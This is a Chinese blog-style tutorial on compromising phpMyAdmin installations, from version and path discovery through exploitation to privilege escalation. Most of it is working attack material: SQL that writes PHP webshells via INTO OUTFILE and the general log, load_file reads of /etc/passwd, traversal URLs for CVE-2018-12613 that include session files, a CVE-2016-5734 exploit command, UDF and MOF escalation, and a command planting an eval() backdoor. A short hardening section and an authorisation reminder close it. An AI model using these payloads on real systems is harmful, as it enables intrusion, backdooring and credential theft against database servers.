当前位置: 首页 > news >正文

【2025最新】phpMyAdmin渗透利用全链路:信息收集→漏洞探测→后渗透提权技巧

目录

一、信息收集与漏洞探测

1. 获取关键信息

2. 权限验证

3. 漏洞扫描

二、历史漏洞利用方法

1. 写入 Webshell

到了这个地步密码探索

2. 远程代码执行(RCE)

3. 提权与后渗透

4. 文件包含漏洞

三、高危历史漏洞列表

四、防御与加固建议

五、提醒


一、信息收集与漏洞探测

1. 获取关键信息
  • 版本信息:访问 /readme.php/changelog.php 等路径,或查看 /doc/html/index.html 获取版本号,判断是否存在已知漏洞。
  • 绝对路径获取
    • 通过 phpinfo() 页面或报错信息(如注入单引号导致错误)暴露路径。
    • 使用 SHOW VARIABLES LIKE '%datadir%'; 查看数据库路径,推测 Web 目录(如 /var/www/html)。
    • 利用 SELECT load_file('/etc/passwd'); 读取系统文件。

2. 权限验证
  • 检查写入权限
    SHOW VARIABLES LIKE 'secure_file_priv';
    
    • 若值为空,可写入任意目录;若为 /tmp/,仅限该目录。
  • 用户权限:执行 SHOW GRANTS; 确认是否为 root 或高权限账户。

3. 漏洞扫描
  • 已知漏洞探测
    • 本地文件包含:测试 gis_data_editor.php?gis_data[gis_type]=/../../../../etc/passwd%00(需有效 token)。
    • 反序列化漏洞:发送特定 POST 请求尝试读取 /etc/passwd(适用于 phpMyAdmin 2.x)。
    • 跨站请求伪造 (CSRF):构造恶意链接诱导管理员执行 SQL 操作(如删除数据库)。

二、历史漏洞利用方法

1. 写入 Webshell
  • 直接写入
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
    
    • 需满足:secure_file_priv 为空且已知 Web 路径。

  • 通过日志记录 PHP 代码生成后门。
  • 开启/关闭情况以及日志存储文件的位置

    • 得知 通过日志我们就可以进行其它渗透行为

Show variables like "general_log%"
  • 日志文件写入
SET GLOBAL general_log = 'ON';  设置打开日志
SET GLOBAL general_log_file =  "C:\\phpStudy\\www\\shell.php"; 日志记录的位置
SELECT '<?php eval($_POST["cmd"]); ?>'; 写入一句话木马
select "<?php system($_REQUEST[cmd]);?>" 系统执行命令
​
show variables like "general_log%" 来验证上述修改是否成功 

​

  • 植入木马后查看dir文件路径:
http://192.168.111.133/shell.php?cmd=dir

  • 执行了dir命令发现yxcms,从这个命令像cms系统,我们试一下访问一下:


  • 到了这个地步密码探索
    • 从页面信息角度收集信息

2. 远程代码执行(RCE)
  • CVE-2016-5734(phpMyAdmin 4.3.0-4.6.2):
    • 利用 preg_replace 的 /e 修饰符漏洞执行命令:
      python3 exploit.py -u root -p root -d test -c "system('id');" http://target.com
      
  • CVE-2018-12613(phpMyAdmin 4.8.0-4.8.1):
    • 构造 URL 包含远程文件或本地 Session 文件(需二次编码绕过检查):
      /index.php?target=db_sql.php%253f/../../../../tmp/sess_[session_id]
      
3. 提权与后渗透
  • UDF 提权(Windows/Linux):
    • 上传自定义 DLL/SO 文件到插件目录,创建函数执行系统命令:
      CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
      SELECT sys_eval('whoami');
      
  • MOF 提权(Windows ≤ 2003):
    • 利用 MySQL 写入恶意 MOF 文件,系统每 5 秒执行一次命令。
4. 文件包含漏洞
  • phpmyadmin 4.8
  • 
    http://192.168.96.133:2003/index.php?target=db_datadict.php%253f/../../../../../../../../etc/passwd

  • 可以通过文件包含漏洞获取服务器权限,我们在选择sql菜单,然后在sql输入如下命令。

  • select "<?php echo 'pwd';?>"

  • 执行sql语句会保存在PHPMyAdmin的临时session文件中

  • 临时的session文件名称可通过bp抓取数据包获得

  • 抓取任意数据包,数据包中Cookie字段phpMyAdmin值加上前追sess_就是临时session文件名

  • Cookie: phpMyAdmin=4a6dfc78f1c64493821a0c327bbca5e6; pma_lang=zh_CN

  • http://192.168.96.133:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_4a6dfc78f1c64493821a0c327bbca5e6

  • 这个时候<?php echo 'pwd';?>会以php代码的形式执行。在文件包好url的访问结果中【文件包含漏洞】我们可以获得服务器执行的pwd结果 我们知道当前的路径是/var/www/html[执行一句话木马的位置]

  • select '<?php echo `echo "<?php eval($_POST[Skull.]);?>" > /var/www/html/11113.php`;?>';

    select '<?php echo `echo "<?php eval($_POST[Skull.]);?>" > /var/www/html/11113.php`;?>';
    http://192.168.96.133:2003/1111.php

三、高危历史漏洞列表

漏洞编号影响版本利用方式修复建议
CVE-2018-199684.0-4.8.3本地文件包含读取敏感信息升级至 4.8.4+
CVE-2016-57344.3.0-4.6.2后台命令执行(需 PHP <5.4.7)升级至 4.6.3+
CVE-2018-126134.8.0-4.8.1远程文件包含升级至 4.8.2+
WooYun-2016-1994332.x反序列化任意文件读取禁用旧版本
CVE-2010-30552.11.x <2.11.10.1通过 setup.php 执行任意代码升级至 2.11.10.1+

四、防御与加固建议

  1. 访问控制

    • 限制 phpMyAdmin 仅允许内网或 VPN 访问,禁用外网暴露。
    • 启用多因素认证(如 Google Authenticator)。
  2. 权限最小化

    • 为 MySQL 分配非 root 用户,禁用 FILE 和 EXECUTE 权限。
    • 配置 secure_file_priv 限制文件读写目录。
  3. 安全更新

    • 及时升级至最新版本(当前最新为 phpMyAdmin 5.2.1)。
  4. 日志与监控

    • 开启审计日志,监控异常 SQL 操作(如 INTO OUTFILE)。
  5. 代码加固

    • 禁用危险函数(如 eval()system())。
    • 使用 Web 应用防火墙(WAF)拦截恶意请求。

五、提醒

  • 合法授权:所有操作需在授权范围内进行,非法入侵将面临法律风险。
  • 漏洞报告:发现漏洞应通过合规渠道上报(如 CVE、CNVD)。

相关文章:

  • RCE-Labs超详细WP-Level9
  • tomato靶场通关攻略
  • C++编译问题——1模板函数的实现必须在头文件中
  • 生成式AI+安全:API防护的“进化革命”——从被动防御到智能对抗的技术跃迁
  • 得物 Android Crash 治理实践
  • Vim忍者速成秘卷:让你的键盘冒出残影の奥义
  • 鸿蒙OS开发ForEach循环渲染
  • qt中再函数中开辟的内存,要不要手动释放?
  • 实现图形界面访问无显示器服务器
  • 【面试】JVM
  • 侯捷C++课程学习笔记:详解多态(五)
  • 【后端】【django drf】django自动导出优雅的api文档的写法
  • easy-poi导出and导入一对多数据excel
  • 基于深度学习的多模态人脸情绪识别研究与实现(视频+图像+语音)
  • mov格式视频如何转换mp4?
  • GESP2024年3月认证C++三级( 第三部分编程题(2)完全平方数)
  • PlainUSR|LIA: 追求更快的卷积网络实现高效的超分辨率重建
  • USB数据采集卡 Labview采集卡 32路AD模拟量采集 DAQ卡
  • 前瞻技术新趋势:改变未来生活方式的技术探索
  • 一个简单的PHP框架
  • 车主质疑零跑汽车撞车后AEB未触发、气囊未弹出,4S店:其把油门当刹车
  • 百色一女子称家委会强制排班被迫抱婴儿校门口站岗?区教育局:自愿参与
  • 多个侵华日军细菌战部队留守名簿文件首次公布
  • 上海市重大工程一季度开局良好,崇明线等按既定计划加快建设
  • 经济日报:美国滥施汽车关税损人不利己
  • 视频丨美国两名男童持枪与警察对峙,一人还试图扣动扳机